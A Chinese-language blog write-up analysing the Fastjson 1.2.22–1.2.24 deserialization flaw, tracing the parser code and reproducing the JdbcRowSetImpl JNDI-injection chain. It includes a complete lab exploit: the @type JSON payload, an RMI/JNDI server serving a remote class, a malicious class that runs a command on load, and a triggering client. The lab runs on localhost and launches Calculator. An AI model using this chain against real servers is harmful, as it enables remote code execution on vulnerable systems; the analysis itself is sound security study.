Fastjson反序列化漏洞分析--JdbcRowSetImpl利用链
Fastjson反序列化漏洞分析--JdbcRowSetImpl利用链
前言
这段时间在学习渗透测试的相关知识,看了一些关于 Fastjson 反序列化漏洞分析的博客和视频,这里复现一下。
Fastjson简介
Fastjson 是 Alibaba 开发的Java语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换,提供两个主要接口JSON.toJSONString
和 JSON.parseObject/JSON.parse
来分别实现序列化和反序列化操作。
Fastjson序列化与反序列化
一、序列化
序列化可以理解为就是将对象转化为字节流,字节流中包括这个对象的数据和信息,序列化和反序列化便于类的持久保存,并且很利于网络传输。
Student.java
public class Student {
private String name;
private int age;
public Student() {
System.out.println("构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
// Runtime.getRuntime().exec("calc.exe")
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}
通过 Ser.java 进行序列化:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Ser {
public static void main(String[] args){
Student student = new Student();
student.setName("test");
student.setAge(80);
String jsonstring1 = JSON.toJSONString(student, SerializerFeature.WriteClassName); // 带属性值
String jsonstring2 = JSON.toJSONString(student); // 不带属性值 SerializerFeature.WriteClassName
System.out.println(jsonstring1);
System.out.println(jsonstring2);
}
}
第一种序列化方式传入一个 Json 对象即Student
和另一个参数 SerializerFeature.WriteClassName
;而第二种序列化方式直接传入Student
,执行结果如:
可以看到,设置之后在序列化的时候会多写入一个@type
,即写上被序列化的类名,@type
可以指定反序列化的类,并且调用其getter/setter/is方法。
二、反序列化
反序列化是通过这条字节流的数据和信息,将它还原成一个类
通过UnSer.java反序列化:
首先对普通的 Json 字符串做反序列化,在做反序列化时使用两种方式,即parser
和parserObject
,区别在于parserObject
做反序列化的时候指定一个对象,得到的结果:
第一种得到的是一个JSONObject
对象,而并不是一个我们需要反序列化的对象Student
;使用parserObject
指定一个对象得到的结果为我们需要得到的对象Student
。对一个具有@type
的 Json 字符串做反序列化:
得到的结果:
可以看到,两种方式都可以成功的反序列化出Student
。通过以上分析,可以看到@type
的作用,但 fastjson 漏洞就是因为@type
所导致了 fastjson 反序列化漏洞。
Fastjson反序列化流程分析
跟进 UnSer.java 中parser
:
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}
这里会创建一个 DefaultJSONParser 对象,跟入:
由于传入的是以{
开头,返回一个LBRACE
,在进入判断:
由于返回的是LBRACE
,在第一行会创建一个空的 JSONObject,再调用parseObject()
进行解析,跟进:
进行判断key==Json.DEFAULT_TYPE_KEY
这里Json.DEFAULT_TYPE_KEY
就为@type
,判断通过,进入if
语句
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;
接着创建了ObjectDeserializer
类并调用了deserialze
方法,后续跟进getDeserializer
方法,可以发现执行反序列化操作。
Fastjson反序列化漏洞
知道了 Fastjson 的@type
,所以也就能想到反序列化漏洞产生的原因是 get 或 set 方法中存在恶意操作,以下面 Student.java 为例:
public class Student {
private String name;
private int age;
public Student() {
System.out.println("构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
Runtime.getRuntime().exec("calc.exe") //添加的恶意代码
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}
Unser.java
指定到包含恶意代码的恶意类Student
,反序列后,执行恶意代码:
可以看到执行恶意代码Runtime.getRuntime().exec("calc.exe")
,调出计算器。
JdbcRowSetImpl利用链
上面分析了可以在类中添加恶意代码的方式进行恶意命令执行,但是在实际上,上面的Student.java
是存在于服务器端的,作为用户,我们很难更改。对于 Fastjson 1.2.22-1.2.24 我们可以通过两条利用链——JdbcRowSetImpl 和 Templateslmpl。今天主要介绍JdbcRowSetImpl利用链,JdbcRowSetImpl利用链最终的结果是导致 JNDI 注入。
JNDI
简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。
JNDI支持多种命名和目录提供程序(Naming and Directory Providers),RMI注册表服务提供程序(RMI Registry Service Provider)允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散耦合,RMI客户端直接通过URL来定位一个远程对象,而且该RMI服务可以和包含人员,组织和网络资源等信息的企业目录链接在一起。
JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击。
POC
POC 如下,@type
指向com.sun.rowset.JdbcRowSetImpl
类,dataSourceName
值为 RMI 服务中心绑定的 Exploit 服务,autoCommit
有且必须为 true 或 false 等布尔值类型:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
服务端 JNDIServer.java
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exloit",
"com.test.example2.badClassName","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}
远程恶意类 com.test.example2.badClassName.class,同样是调出计算器程序。
public class badClassName {
static{
try{
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}catch(Exception e){
;
}
}
}
客户端 JNDIClient.java
import com.alibaba.fastjson.JSON;
public class JNDIClient {
public static void main(String[] argv){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
当执行JSON.parse(payload);
进行反序列化时,JdbcRowSetImpl
类远程调用写好的badClassName.class
,执行恶意代码。
JdbcRowSetImpl 这个类是JDK自带的,所以无论服务端用什么写,都能找到。
漏洞分析
跟进JdbcRowSetImpl.class
,进入到setDataSourceNmame()
:
因为初始化的时候getDataSourceNmame()
为空,进入else
,下断点得到 RMI 的 url 为rmi://127.0.0.1:1099/badClassName
,并传入setDataSourceNmame()
。接着调用setAutoCommit()
函数:
设置autoCommit值,其中调用了connect()函数:
这里的getDataSourceName()
是我们在前面setDataSourceName()
方法中设置的值rmi://127.0.0.1:1099/badClassName
,是我们可控的,而lookup()
远程加载getDataSourceName()
,所以就造成了JNDI注入漏洞。